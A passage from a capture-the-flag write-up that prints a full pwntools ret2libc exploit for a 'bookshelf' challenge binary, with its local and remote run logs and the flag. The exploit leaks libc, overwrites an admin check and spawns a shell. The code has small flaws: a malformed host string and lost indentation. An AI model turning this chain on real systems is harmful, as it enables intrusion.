But eventually I figured out that it was a simple case of stack misalignment, my initial payload was perfect, all I had to do was, insert a ret
gadget before the ROP chain.
So here’s the final exploit code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
p = process('./bookshelf')
libc = ELF('/usr/lib/libc.so.6')
# LEAK PUTS
log.info('Leaking puts...')
for _ in range(8):
p.sendline(b'2') # Go to bookshop
p.sendline(b'2') # Buy/Attempt to buy a book
p.sendline(b'y') # Leave tip
p.sendline(b'2') # Go to bookshop
p.sendline(b'3') # Read value of puts()
p.sendline(b'N') # No need to leave any more tip
leak = p.clean() # Read everything till now
leak = b''.join(word for word in leak.split(b' ') if word.startswith(b'0x')) # Filter the text for the memory address
puts = int(leak, 16)
log.success('Puts found @ ' + hex(puts))
libc_base = puts - libc.symbols['puts']
log.success('libc base @ ' + hex(libc_base))
# GET ADMIN ACCESS
p.sendline(b'1') # Write a book
p.sendline(b'y') # Write an audiobook
p.sendline(b'A' * 100) # Overwrite the admin access check variable.
# OVERFLOW ADMIN WRITE
log.info('Sending payload...')
p.sendline(b'3') # Write an admin book
## Prepare the payload
offset = 56
rop = ROP(libc)
payload = b''
payload += b'A' * offset
payload += p64( libc_base + rop.find_gadget(['ret']).address )
payload += p64( libc_base + rop.find_gadget(['pop rdi', 'ret']).address )
payload += p64( libc_base + next(libc.search(b'/bin/sh')) )
payload += p64( libc_base + libc.symbols['system'] )
# Since we are good programmers, let's also add a clean exit after buffer overflow :P
payload += p64( libc_base + rop.find_gadget(['pop rdi', 'ret']).address )
payload += p64( 0 )
payload += p64( libc_base + libc.symbols['exit'] )
p.sendline(payload)
log.success('Sent')
p.clean()
p.interactive()
Let’s test it…
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
> python exploit.py
[+] Starting local process './bookshelf': pid 2222546
[*] '/usr/lib/libc.so.6'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Leaking puts...
[+] Puts found @ 0x7fdc73e75bf0
[+] libc base @ 0x7fdc73e00000
[*] Sending payload...
[*] Loaded 214 cached gadgets for '/usr/lib/libc.so.6'
[+] Sent
[*] Switching to interactive mode
$ whoami
vulnx
$ exit
[*] Got EOF while reading in interactive
$
[*] Process './bookshelf' stopped with exit code 0 (pid 2222546)
[*] Got EOF while sending in interactive
>
Oh good good! Our exploit is working perfectly.
Now all we need to do as adapt the local exploit to remote enviroment
Switching to remote
All we need to do is simply change our libc and process from local the remote ones. Final remote exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
p = remote('chal.pctf.competitivecyber.club on port', 4444)
libc = ELF('libc.so.6')
# LEAK PUTS
log.info('Leaking puts...')
for _ in range(20):
p.sendline(b'2') # Go to bookshop
p.sendline(b'2') # Buy/Attempt to buy a book
p.sendline(b'y') # Leave tip
p.sendline(b'2') # Go to bookshop
p.sendline(b'3') # Read value of puts()
p.sendline(b'N') # No need to leave any more tip
leak = p.clean() # Read everything till now
leak = b''.join(word for word in leak.split(b' ') if word.startswith(b'0x')) # Filter the text for the memory address
puts = int(leak, 16)
log.success('Puts found @ ' + hex(puts))
libc_base = puts - libc.symbols['puts']
log.success('libc base @ ' + hex(libc_base))
# GET ADMIN ACCESS
p.sendline(b'1') # Write a book
p.sendline(b'y') # Write an audiobook
p.sendline(b'A' * 100) # Overwrite the admin access check variable.
# OVERFLOW ADMIN WRITE
log.info('Sending payload...')
p.sendline(b'3') # Write an admin book
## Prepare the payload
offset = 56
rop = ROP(libc)
payload = b''
payload += b'A' * offset
payload += p64( libc_base + rop.find_gadget(['ret']).address )
payload += p64( libc_base + rop.find_gadget(['pop rdi', 'ret']).address )
payload += p64( libc_base + next(libc.search(b'/bin/sh')) )
payload += p64( libc_base + libc.symbols['system'] )
# Since we are good programmers, let's also add a clean exit after buffer overflow :P
payload += p64( libc_base + rop.find_gadget(['pop rdi', 'ret']).address )
payload += p64( 0 )
payload += p64( libc_base + libc.symbols['exit'] )
p.sendline(payload)
log.success('Sent')
p.clean()
p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
> python exploit.py
[+] Opening connection to chal.pctf.competitivecyber.club on port 4444: Done
[*] '/home/vulnx/CTFs/Patriot/bookshelf/libc.so.6'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Leaking puts...
[+] Puts found @ 0x7f423ca75bf0
[+] libc base @ 0x7f423ca00000
[*] Sending payload...
[*] Loaded 214 cached gadgets for '/home/vulnx/CTFs/Patriot/bookshelf/libc.so.6'
[+] Sent
[*] Switching to interactive mode
$ ls
flag.txt
$ cat flag.txt
PCTF{r3t_2_libc_pl0x_52706196}
$ exit
[*] Got EOF while reading in interactive
$
[*] Process './bookshelf' stopped with exit code 0 (pid 3079866)
[*] Got EOF while sending in interactive
>
FLAG
PCTF{r3t_2_libc_pl0x_52706196}